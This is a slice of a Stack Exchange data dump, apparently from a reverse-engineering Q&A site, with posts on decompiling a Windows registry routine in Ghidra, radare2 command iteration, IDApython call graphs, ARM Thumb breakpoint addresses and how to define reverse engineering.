  <row Id="25844" PostTypeId="2" ParentId="25836" CreationDate="2020-09-09T18:31:31.400" Score="0" Body="&lt;p&gt;ok  it is _fastCall&lt;br /&gt;&#xA;so this function takes 5 arguments&lt;br /&gt;&#xA;2 in registers ecx,edx 3 in stack 8,12,16&lt;br /&gt;&#xA;and As I Commented edx is used as an argument to the First Indirect call [esi+4]&lt;/p&gt;&#xA;&lt;p&gt;copy pasted the disassembly to notepad++&#xA;used the column editor to rip out the bytes from the paste&lt;br /&gt;&#xA;pasted the bytes in hxd to make a bin&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  8B FF 55 8B EC 83 EC 40 53 56 57 8D 45 E0 8B F1  ‹ÿU‹ìƒì@SVW.Eà‹ñ&#xA;00000010  50 33 DB 89 75 EC 83 CF FF 89 5D CC 52 56 89 7D  P3Û‰uìƒÏÿ‰]ÌRV‰}&#xA;00000020  C8 89 7D D0 89 5D D4 89 7D E0 89 5D E4 89 7D C0  È‰}Ð‰]Ô‰}à‰]ä‰}À&#xA;00000030  89 5D C4 89 5D E8 FF 56 04 85 C0 0F 84 5D 01 00  ‰]Ä‰]èÿV.…À.„]..&#xA;00000040  00 8D 4D F4 8B D0 51 68 B8 20 8E 00 8B CE E8 69  ..Mô‹ÐQh¸ Ž.‹Îèi&#xA;00000050  51 00 00 8D 45 E0 50 56 FF 56 08 39 7D F4 0F 84  Q...EàPVÿV.9}ô.„&#xA;00000060  3A 01 00 00 8D 45 E0 50 FF 75 F4 56 FF 56 04 85  :....EàPÿuôVÿV.…&#xA;00000070  C0 0F 84 27 01 00 00 8D 4D F4 8B D0 51 68 F8 20  À.„'....Mô‹ÐQhø &#xA;00000080  8E 00 8B CE E8 33 51 00 00 8D 45 E0 50 56 FF 56  Ž.‹Îè3Q...EàPVÿV&#xA;00000090  08 39 7D F4 0F 84 04 01 00 00 8D 45 E0 50 FF 75  .9}ô.„.....EàPÿu&#xA;000000A0  F4 56 FF 56 04 85 C0 0F 84 F1 00 00 00 8D 4D F4  ôVÿV.…À.„ñ....Mô&#xA;000000B0  8B D0 51 68 08 21 8E 00 8B CE E8 FD 50 00 00 8D  ‹ÐQh.!Ž.‹ÎèýP...&#xA;000000C0  45 E0 50 56 FF 56 08 39 7D F4 0F 84 CE 00 00 00  EàPVÿV.9}ô.„Î...&#xA;000000D0  8D 45 E0 50 FF 75 F4 56 FF 56 04 85 C0 0F 84 BB  .EàPÿuôVÿV.…À.„»&#xA;000000E0  00 00 00 68 70 22 8E 00 8B D0 8B CE E8 85 33 00  ...hp&amp;quot;Ž.‹Ð‹Îè…3.&#xA;000000F0  00 8B F8 8D 45 E0 50 56 FF 56 08 83 FF FF 0F 84  .‹ø.EàPVÿV.ƒÿÿ.„&#xA;00000100  9A 00 00 00 8D 45 D0 50 57 56 FF 56 04 85 C0 0F  š....EÐPWVÿV.…À.&#xA;00000110  84 89 00 00 00 8D 4D C8 8B D7 51 8D 4D F8 51 50  „‰....MÈ‹×Q.MøQP&#xA;00000120  8B CE E8 C7 34 00 00 8B F8 8D 45 D0 50 56 89 7D  ‹ÎèÇ4..‹ø.EÐPV‰}&#xA;00000130  DC FF 56 08 85 FF 74 66 8B 55 F8 33 C9 33 C0 66  ÜÿV.…ÿtf‹Uø3É3Àf&#xA;00000140  89 55 DA 66 89 4D D8 C7 45 F0 02 00 00 00 66 3B  ‰UÚf‰MØÇEð....f;&#xA;00000150  C2 73 1D 8B 75 F0 0F B7 C1 D1 E8 66 39 1C 47 74  Âs.‹uð.·ÁÑèf9.Gt&#xA;00000160  0C 66 03 CE 66 89 4D D8 66 3B CA 72 E9 8B 75 EC  .f.Îf‰MØf;Êré‹uì&#xA;00000170  8B 5D 08 6A 36 58 66 39 07 75 0C C7 45 E8 01 00  ‹].j6Xf9.u.ÇEè..&#xA;00000180  00 00 E9 92 00 00 00 8D 45 E0 50 FF 75 F4 56 FF  ..é’....EàPÿuôVÿ&#xA;00000190  56 04 85 C0 75 13 8D 45 C8 50 56 FF 56 08 32 C0  V.…Àu..EÈPVÿV.2À&#xA;000001A0  5F 5E 5B 8B E5 5D C2 0C 00 8D 4D D8 8B D0 51 8B  _^[‹å]Â...MØ‹ÐQ‹&#xA;000001B0  CE E8 C0 32 00 00 8B F8 8D 45 C8 50 56 FF 56 08  ÎèÀ2..‹ø.EÈPVÿV.&#xA;000001C0  33 C0 89 45 DC 8D 45 E0 50 56 FF 56 08 83 FF FF  3À‰EÜ.EàPVÿV.ƒÿÿ&#xA;000001D0  74 CC 8D 45 D0 50 57 56 FF 56 04 85 C0 74 BF 8D  tÌ.EÐPWVÿV.…Àt¿.&#xA;000001E0  4D C0 8B D7 51 8D 4D F8 51 50 8B CE E8 FD 33 00  MÀ‹×Q.MøQP‹Îèý3.&#xA;000001F0  00 89 43 04 85 C0 74 08 8D 45 C0 50 56 FF 56 08  .‰C.…Àt..EÀPVÿV.&#xA;00000200  8D 45 D0 50 56 FF 56 08 33 C0 39 43 04 74 8F 8B  .EÐPVÿV.3À9C.t.‹&#xA;00000210  45 F8 66 89 43 02 66 89 03 8D 45 E0 50 FF 75 F4  Eøf‰C.f‰..EàPÿuô&#xA;00000220  56 FF 56 04 85 C0 0F 84 72 FF FF FF 68 48 22 8E  VÿV.…À.„rÿÿÿhH&amp;quot;Ž&#xA;00000230  00 8B D0 8B CE E8 3C 32 00 00 8B F8 8D 45 E0 50  .‹Ð‹Îè&amp;lt;2..‹ø.EàP&#xA;00000240  56 FF 56 08 83 FF FF 0F 84 51 FF FF FF 8D 45 D0  VÿV.ƒÿÿ.„Qÿÿÿ.EÐ&#xA;00000250  50 57 56 FF 56 04 85 C0 0F 84 40 FF FF FF 8D 4D  PWVÿV.…À.„@ÿÿÿ.M&#xA;00000260  C8 8B D7 51 8D 4D F8 51 50 8B CE E8 7E 33 00 00  È‹×Q.MøQP‹Îè~3..&#xA;00000270  8B F8 8D 45 D0 50 56 89 7D DC FF 56 08 85 FF 0F  ‹ø.EÐPV‰}ÜÿV.…ÿ.&#xA;00000280  84 19 FF FF FF 8B 55 F8 33 C9 33 C0 66 89 55 DA  „.ÿÿÿ‹Uø3É3Àf‰UÚ&#xA;00000290  66 89 4D D8 66 3B C2 73 22 8B 75 F0 33 DB 0F B7  f‰MØf;Âs&amp;quot;‹uð3Û.·&#xA;000002A0  C1 D1 E8 66 39 1C 47 74 0C 66 03 CE 66 89 4D D8  ÁÑèf9.Gt.f.Îf‰MØ&#xA;000002B0  66 3B CA 72 E9 8B 75 EC 8B 5D 08 6A 36 58 66 39  f;Êré‹uì‹].j6Xf9&#xA;000002C0  07 8B 7D 0C 0F 84 96 00 00 00 8D 45 E0 50 FF 75  .‹}..„–....EàPÿu&#xA;000002D0  F4 56 FF 56 04 85 C0 0F 84 B9 FE FF FF 8D 4D D8  ôVÿV.…À.„¹þÿÿ.MØ&#xA;000002E0  8B D0 51 8B CE E8 8C 31 00 00 89 45 08 8D 45 C8  ‹ÐQ‹ÎèŒ1..‰E..EÈ&#xA;000002F0  50 56 FF 56 08 8D 45 E0 50 56 FF 56 08 8B 45 08  PVÿV..EàPVÿV.‹E.&#xA;00000300  83 F8 FF 0F 84 95 FE FF FF 8D 4D D0 51 50 56 FF  ƒøÿ.„•þÿÿ.MÐQPVÿ&#xA;00000310  56 04 85 C0 0F 84 84 FE FF FF 8B 55 08 8D 4D C0  V.…À.„„þÿÿ‹U..MÀ&#xA;00000320  51 8D 4D F8 51 50 8B CE E8 C1 32 00 00 89 47 04  Q.MøQP‹ÎèÁ2..‰G.&#xA;00000330  85 C0 74 08 8D 45 C0 50 56 FF 56 08 8D 45 D0 50  …Àt..EÀPVÿV..EÐP&#xA;00000340  56 FF 56 08 33 C9 39 4F 04 0F 84 4F FE FF FF 8B  VÿV.3É9O..„Oþÿÿ‹&#xA;00000350  45 F8 66 89 47 02 66 89 07 39 4D E8 74 12 EB 02  Eøf‰G.f‰.9Mèt.ë.&#xA;00000360  33 C9 33 C0 89 4B 04 66 89 03 89 4F 04 66 89 07  3É3À‰K.f‰.‰O.f‰.&#xA;00000370  8B 4D 10 B0 01 6A 14 5A C7 41 04 4C 1A 8E 00 66  ‹M.°.j.ZÇA.L.Ž.f&#xA;00000380  89 51 02 66 89 11 E9 15 FE FF FF CC              ‰Q.f‰.é.þÿÿÌ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;loaded the bin file as raw x86 le @base 0x893c10&#xA;added a few structs,overridesfunction declarations and a passable PseudoCode emerges as below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bool __fastcall&#xA;CmpFindNLSData(_HHIVE32 *MyHive,ulong *index,UNICODE_STRING *ACP_NSL,UNICODE_STRING *OEMHAL,&#xA;              UNICODE_STRING *DEFINTL)&#xA;&#xA;{&#xA;  bool bVar1;&#xA;  ulong *indx;&#xA;  ulong uVar2;&#xA;  short *psVar3;&#xA;  PWSTR pWVar4;&#xA;  uint uVar5;&#xA;  ulong local_44;&#xA;  ulong local_3c;&#xA;  ulong local_34;&#xA;  ushort local_2c [2];&#xA;  short *local_28;&#xA;  ulong local_24;&#xA;  ulong local_10;&#xA;  USHORT local_c [4];&#xA;  &#xA;  local_3c = 0xffffffff;&#xA;  local_34 = 0xffffffff;&#xA;  local_24 = 0xffffffff;&#xA;  local_44 = 0xffffffff;&#xA;  bVar1 = false;&#xA;  indx = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,index);&#xA;  if (indx == (ulong *)0x0) {&#xA;    return false;&#xA;  }&#xA;  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20b8,&amp;amp;local_10);&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;  if (local_10 == 0xffffffff) {&#xA;    return false;&#xA;  }&#xA;  indx = (ulong *)(*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;  if (indx == (ulong *)0x0) {&#xA;    return false;&#xA;  }&#xA;  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e20f8,&amp;amp;local_10);&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;  if (local_10 == 0xffffffff) {&#xA;    return false;&#xA;  }&#xA;  indx = (ulong *)(*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;  if (indx == (ulong *)0x0) {&#xA;    return false;&#xA;  }&#xA;  func_0x00898dcc(MyHive,indx,(UNICODE_STRING *)0x8e2108,&amp;amp;local_10);&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;  if (local_10 == 0xffffffff) {&#xA;    return false;&#xA;  }&#xA;  uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;  if (uVar2 == 0) {&#xA;    return false;&#xA;  }&#xA;  indx = (ulong *)func_0x00897086(0x8e2270);&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;  if (indx == (ulong *)0xffffffff) {&#xA;    return false;&#xA;  }&#xA;  uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,indx);&#xA;  if (uVar2 == 0) {&#xA;    return false;&#xA;  }&#xA;  psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;amp;local_3c);&#xA;  local_28 = psVar3;&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_34);&#xA;  if (psVar3 == (short *)0x0) {&#xA;    return false;&#xA;  }&#xA;  uVar5 = 0;&#xA;  local_2c[0] = 0;&#xA;  if (local_c[0] != 0) {&#xA;    do {&#xA;      if (*(short *)((int)psVar3 + uVar5) == 0) break;&#xA;      local_2c[0] = (short)uVar5 + 2;&#xA;      uVar5 = (uint)local_2c[0];&#xA;    } while (local_2c[0] &amp;lt; local_c[0]);&#xA;  }&#xA;  if (*psVar3 == 0x36) {&#xA;    bVar1 = true;&#xA;  }&#xA;  else {&#xA;    uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;    if (uVar2 == 0) goto LAB_00893da6;&#xA;    indx = (ulong *)func_0x00897086(local_2c);&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_3c);&#xA;    local_28 = (short *)0x0;&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;    if (indx == (ulong *)0xffffffff) {&#xA;      return false;&#xA;    }&#xA;    uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,indx);&#xA;    if (uVar2 == 0) {&#xA;      return false;&#xA;    }&#xA;    pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;amp;local_44);&#xA;    ACP_NSL-&amp;gt;Buffer = pWVar4;&#xA;    if (pWVar4 != (PWSTR)0x0) {&#xA;      (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_44);&#xA;    }&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_34);&#xA;    if (ACP_NSL-&amp;gt;Buffer == (PWSTR)0x0) {&#xA;      return false;&#xA;    }&#xA;    ACP_NSL-&amp;gt;MaximumLength = local_c[0];&#xA;    ACP_NSL-&amp;gt;Length = local_c[0];&#xA;  }&#xA;  uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;  if (uVar2 == 0) {&#xA;    return false;&#xA;  }&#xA;  indx = (ulong *)func_0x00897086(0x8e2248);&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;  if (indx == (ulong *)0xffffffff) {&#xA;    return false;&#xA;  }&#xA;  uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,indx);&#xA;  if (uVar2 == 0) {&#xA;    return false;&#xA;  }&#xA;  psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;amp;local_3c);&#xA;  local_28 = psVar3;&#xA;  (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_34);&#xA;  if (psVar3 == (short *)0x0) {&#xA;    return false;&#xA;  }&#xA;  uVar5 = 0;&#xA;  local_2c[0] = 0;&#xA;  if (local_c[0] != 0) {&#xA;    do {&#xA;      if (*(short *)((int)psVar3 + uVar5) == 0) break;&#xA;      local_2c[0] = (short)uVar5 + 2;&#xA;      uVar5 = (uint)local_2c[0];&#xA;    } while (local_2c[0] &amp;lt; local_c[0]);&#xA;  }&#xA;  if (*psVar3 != 0x36) {&#xA;    uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,(ulong *)local_10);&#xA;    if (uVar2 == 0) {&#xA;LAB_00893da6:&#xA;      (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_3c);&#xA;      return false;&#xA;    }&#xA;    indx = (ulong *)func_0x00897086(local_2c);&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_3c);&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_24);&#xA;    if (indx == (ulong *)0xffffffff) {&#xA;      return false;&#xA;    }&#xA;    uVar2 = (*MyHive-&amp;gt;GetCellRoutine)(MyHive,indx);&#xA;    if (uVar2 == 0) {&#xA;      return false;&#xA;    }&#xA;    pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;amp;local_44);&#xA;    OEMHAL-&amp;gt;Buffer = pWVar4;&#xA;    if (pWVar4 != (PWSTR)0x0) {&#xA;      (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_44);&#xA;    }&#xA;    (*MyHive-&amp;gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;amp;local_34);&#xA;    if (OEMHAL-&amp;gt;Buffer == (PWSTR)0x0) {&#xA;      return false;&#xA;    }&#xA;    OEMHAL-&amp;gt;MaximumLength = local_c[0];&#xA;    OEMHAL-&amp;gt;Length = local_c[0];&#xA;    if (!bVar1) goto LAB_00893f80;&#xA;  }&#xA;  ACP_NSL-&amp;gt;Buffer = (PWSTR)0x0;&#xA;  ACP_NSL-&amp;gt;Length = 0;&#xA;  OEMHAL-&amp;gt;Buffer = (PWSTR)0x0;&#xA;  OEMHAL-&amp;gt;Length = 0;&#xA;LAB_00893f80:&#xA;  DEFINTL-&amp;gt;Buffer = (PWSTR)0x8e1a4c;&#xA;  DEFINTL-&amp;gt;MaximumLength = 0x14;&#xA;  DEFINTL-&amp;gt;Length = 0x14;&#xA;  return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-09T18:31:31.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25846" PostTypeId="2" ParentId="21895" CreationDate="2020-09-09T21:22:40.693" Score="2" Body="&lt;p&gt;It's not certain that the particular map file you have is supported out of the box, but you should be able to use the &lt;kbd&gt;Script Manager&lt;/kbd&gt; from the &lt;kbd&gt;Window&lt;/kbd&gt; menu in Ghidra (in the Code Browser!).&lt;/p&gt;&#xA;&lt;p&gt;A good start for your endeavor would likely be the &lt;code&gt;Ghidra/Features/Python/ghidra_scripts/ImportSymbolsScript.py&lt;/code&gt; script aka &lt;code&gt;ImportSymbolsScript&lt;/code&gt; (from the Script Manager).&lt;/p&gt;&#xA;&lt;p&gt;The description of this script is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;ImportSymbolsScript.py&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt; Imports a file with lines in the form &amp;quot;symbolName 0xADDRESS&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-09-09T21:30:05.497" LastActivityDate="2020-09-09T21:30:05.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25847" PostTypeId="2" ParentId="13411" CreationDate="2020-09-10T03:18:47.293" Score="0" Body="&lt;p&gt;I think Radare2's 'agj' command only extract function call graph, which is different from CFG(control flow graph where a node represent a basic block).&lt;/p&gt;&#xA;" OwnerUserId="34362" LastActivityDate="2020-09-10T03:18:47.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25848" PostTypeId="1" AcceptedAnswerId="25860" CreationDate="2020-09-10T13:15:58.180" Score="1" ViewCount="585" Body="&lt;p&gt;Is there any easy way to get a &lt;strong&gt;function call graph&lt;/strong&gt; of a binary program using IDApython then convert it to a networkx graph other than going through every function and constructing the call-graph ourselves?&lt;/p&gt;&#xA;&lt;p&gt;Basically i want to have a call graph that i can tell which nodes are library calls and which are locals, and not including functions that are called by libraries ( so i dont go deep into nested library functions calling each other)&lt;/p&gt;&#xA;&lt;p&gt;i tried gen_simple_call_chart() but there are two big problems :&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;there is no difference between library nodes and local nodes in the generated DOT file (no color or anything)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CHART_IGNORE_LIB_FROM doesnt work, i dont want to include nodes that are called by library calls :(&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example all the nodes are black no matter library or local :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;205&amp;quot; [ label = &amp;quot;sub_40AF20&amp;quot;, pencolor = black ];&#xA;&amp;quot;206&amp;quot; [ label = &amp;quot;ShellExecuteW&amp;quot;, pencolor = black ];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2020-09-11T16:09:30.513" LastActivityDate="2020-09-11T16:09:30.513" Title="Get a networkx graph from the the function call-graph of the file using IDApython?" Tags="|ida|idapython|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25849" PostTypeId="2" ParentId="25839" CreationDate="2020-09-10T15:17:22.997" Score="1" Body="&lt;p&gt;You cannot do that with dnSpy, as the code that is stored in &lt;code&gt;array&lt;/code&gt; is not managed code but native. So you have to extract that bytes, saved them in a file and analyze spearately with a native disassembler like r2, Ghidra, IDA etc.&lt;/p&gt;&#xA;&lt;p&gt;As for stepping into, it's the same. You have to use a native debugger and not the one from dnSpy.&lt;/p&gt;&#xA;&lt;p&gt;Since this is a mixed binary it might be tricky to setup the system in such a way that you could step from one part of the code debugged in dnSpy and to the other that is native.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-09-10T15:17:22.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25850" PostTypeId="1" AcceptedAnswerId="25852" CreationDate="2020-09-10T18:52:46.017" Score="0" ViewCount="274" Body="&lt;p&gt;Say, I have a command in radare which produces multiple input, say &lt;code&gt;afl&lt;/code&gt;. I can run it and extract many addresses:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x5579ca2e2196]&amp;gt; afl~[0]&#xA;0x5579ca2e2060&#xA;0x5579ca2e4fe0&#xA;0x5579ca2e2090&#xA;0x5579ca2e20c0&#xA;0x5579ca2e2100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I do run another command on each of those addresses? Let's say I want to print first byte of each of them or set a breakpoint with &lt;code&gt;db&lt;/code&gt; on each address.&lt;/p&gt;&#xA;&lt;p&gt;I read about iteration, but it looks like it only works on flags with something like &lt;code&gt;sym.*&lt;/code&gt;, but not on arbitrary outputs, so I can't do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p8 1 @@ `some command which produces many addresses`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know that I can save output to a file and then use something like &lt;code&gt;p8 1 @@.my_file&lt;/code&gt;, but it looks strange that I need to create a file for that.&lt;/p&gt;&#xA;&lt;p&gt;Basically, I want a way to run a single radare command (possibly with parameters) for every line of output of another radare command.&lt;/p&gt;&#xA;" OwnerUserId="34372" LastActivityDate="2020-09-10T20:31:26.217" Title="Running radare command on each line of the output of another command" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25851" PostTypeId="2" ParentId="25806" CreationDate="2020-09-10T20:27:05.280" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;when I set a breakpoint at say 0x010451&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's critical to first understand that there is actually no such valid address for an instruction.&lt;/p&gt;&#xA;&lt;p&gt;On an ARM processor, instructions are always aligned to their width - 16 bit thumb instructions are aligned to 16 bits, 32 bit ARM instructions are aligned to 32 bits, etc.&lt;/p&gt;&#xA;&lt;p&gt;Rather, such values that are not actually addresses sneak into code disassemblies you may be reading because when a branch is performed, the LSB of the target operand indicates the mode in which the processor should start executing the instruction at the target address - but the target address always has its LSB masked to zero by the hardware!&lt;/p&gt;&#xA;&lt;p&gt;So trying to set a breakpoint at 0x010451 is formally invalid.&lt;/p&gt;&#xA;&lt;p&gt;Some tools &lt;em&gt;may&lt;/em&gt; as a convenience interpret that to mean &amp;quot;set a thumb-mode breakpoint at 0x010450&amp;quot; - but that's playing a bit fast and loose with the rules.&lt;/p&gt;&#xA;&lt;p&gt;What is actually correct is to specify the &lt;em&gt;aligned&lt;/em&gt; address of the instruction, and the processor operating mode of the breakpoint to be set; eg, if the breakpoint is implemented by actually replacing an instruction in RAM (rather than using a hardware breakpoint) then the replacement instruction will have to be of the ARM type or the Thumb type.&lt;/p&gt;&#xA;" OwnerUserId="2054" LastActivityDate="2020-09-10T20:27:05.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25852" PostTypeId="2" ParentId="25850" CreationDate="2020-09-10T20:31:26.217" Score="2" Body="&lt;p&gt;&lt;code&gt;@@&lt;/code&gt; is indeed for flags [not only those that are prefixed with &lt;code&gt;sym.&lt;/code&gt; though].&#xA;It looks like you need to use the &lt;code&gt;@@=&lt;/code&gt; iterator.&lt;/p&gt;&#xA;&lt;p&gt;For example:&#xA;&lt;code&gt;px 4 @@=`afl~[0]` &lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2020-09-10T20:31:26.217" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25853" PostTypeId="1" AcceptedAnswerId="25858" CreationDate="2020-09-10T23:59:36.107" Score="4" ViewCount="2010" Body="&lt;p&gt;I can't seem to figure out how to do such a trivial task: Basically, how can I enlarge a block in Ghidra's Function Graph View so that I can see all of the instructions (instead of &lt;strong&gt;...&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;p&gt;There does not seem to be an enlarge option when I hover my mouse over the edge of the block.&lt;/p&gt;&#xA;&lt;p&gt;The version I am using is 9.1.2&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mIB8q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mIB8q.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16720" LastEditorUserId="16720" LastEditDate="2020-09-11T00:22:02.410" LastActivityDate="2020-09-11T10:32:09.807" Title="How to enlarge block in Ghidra's Function Graph View?" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25854" PostTypeId="2" ParentId="25789" CreationDate="2020-09-11T00:32:44.533" Score="0" Body="&lt;p&gt;You should check the &lt;a href=&quot;https://www.eff.org/issues/coders/reverse-engineering-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;EFF RE FAQ&lt;/a&gt;. It might help you wrap your head around some of the legal aspects and definitions.&lt;/p&gt;&#xA;&lt;p&gt;From where I see it, yes, it is reverse engineering. But, it's not &lt;strong&gt;clean room&lt;/strong&gt; reverse engineering.&lt;/p&gt;&#xA;&lt;p&gt;There are many layers/levels of RE. You can target the hardware, the firmware, the software, the algorithms, the architecture, ... The higher you go, the more abstract the construct. So, depending on what abstraction you're trying to model from the available elements, the RE tools and methods will be, somewhat, different. But, it's still RE.&lt;/p&gt;&#xA;&lt;p&gt;I would define RE by the attempt to build a higher level construct from a set of packaged, or obfuscated, or low level elements.&lt;/p&gt;&#xA;&lt;p&gt;If you start from a binary without any prior knowledge of its inner-workings and dig your way into a source code, that's &lt;strong&gt;clean room&lt;/strong&gt; binary RE for the intent of producing a source code.&#xA;If you peruse (in the true sense of the word) the source code and manage to identify the algorithms (some homemade implementation of FFT, AES, or some scheduling scheme), that becomes a &lt;strong&gt;clean room&lt;/strong&gt; algorithm RE.&lt;/p&gt;&#xA;&lt;p&gt;If you have prior knowledge of the source code and you manage to identify the algorithms, that's algorithm RE. Is this case, the manner in which the source code was obtained is crucial in defining the legality of the RE work and the intent of the RE.&lt;/p&gt;&#xA;&lt;p&gt;If you are learning by playing around with prepared labs/exercises, well, you're working out your RE skills.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2020-09-11T00:32:44.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25856" PostTypeId="2" ParentId="25789" CreationDate="2020-09-11T04:16:45.157" Score="1" Body="&lt;p&gt;The IEEE definition of Reverse Engineering (&amp;quot;Reverse Engineering and Design Recovery: A Taxonomy&amp;quot;, IEEE, 1990) is &amp;quot;the process of analyzing a subject system to identify the system's components and their interrelationships and to create representations of the system in another form or at a higher level of abstraction&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;However, you already have the source code which is a representation of the system (an executable) in another form and at a higher level of abstraction (assembly).&lt;/p&gt;&#xA;&lt;p&gt;To me, what you are doing is re-engineering and/or translating the source code by porting it to a new software coding language.&lt;/p&gt;&#xA;" OwnerUserId="4658" LastActivityDate="2020-09-11T04:16:45.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25858" PostTypeId="2" ParentId="25853" CreationDate="2020-09-11T09:13:43.487" Score="4" Body="&lt;p&gt;You do it from the menu of this window.&lt;/p&gt;&#xA;&lt;p&gt;Click on this icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mMzcK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMzcK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Later go to &lt;code&gt;Instruction/Data&lt;/code&gt; tab and adjust the &lt;code&gt;Operands&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-09-11T10:32:09.807" LastActivityDate="2020-09-11T10:32:09.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
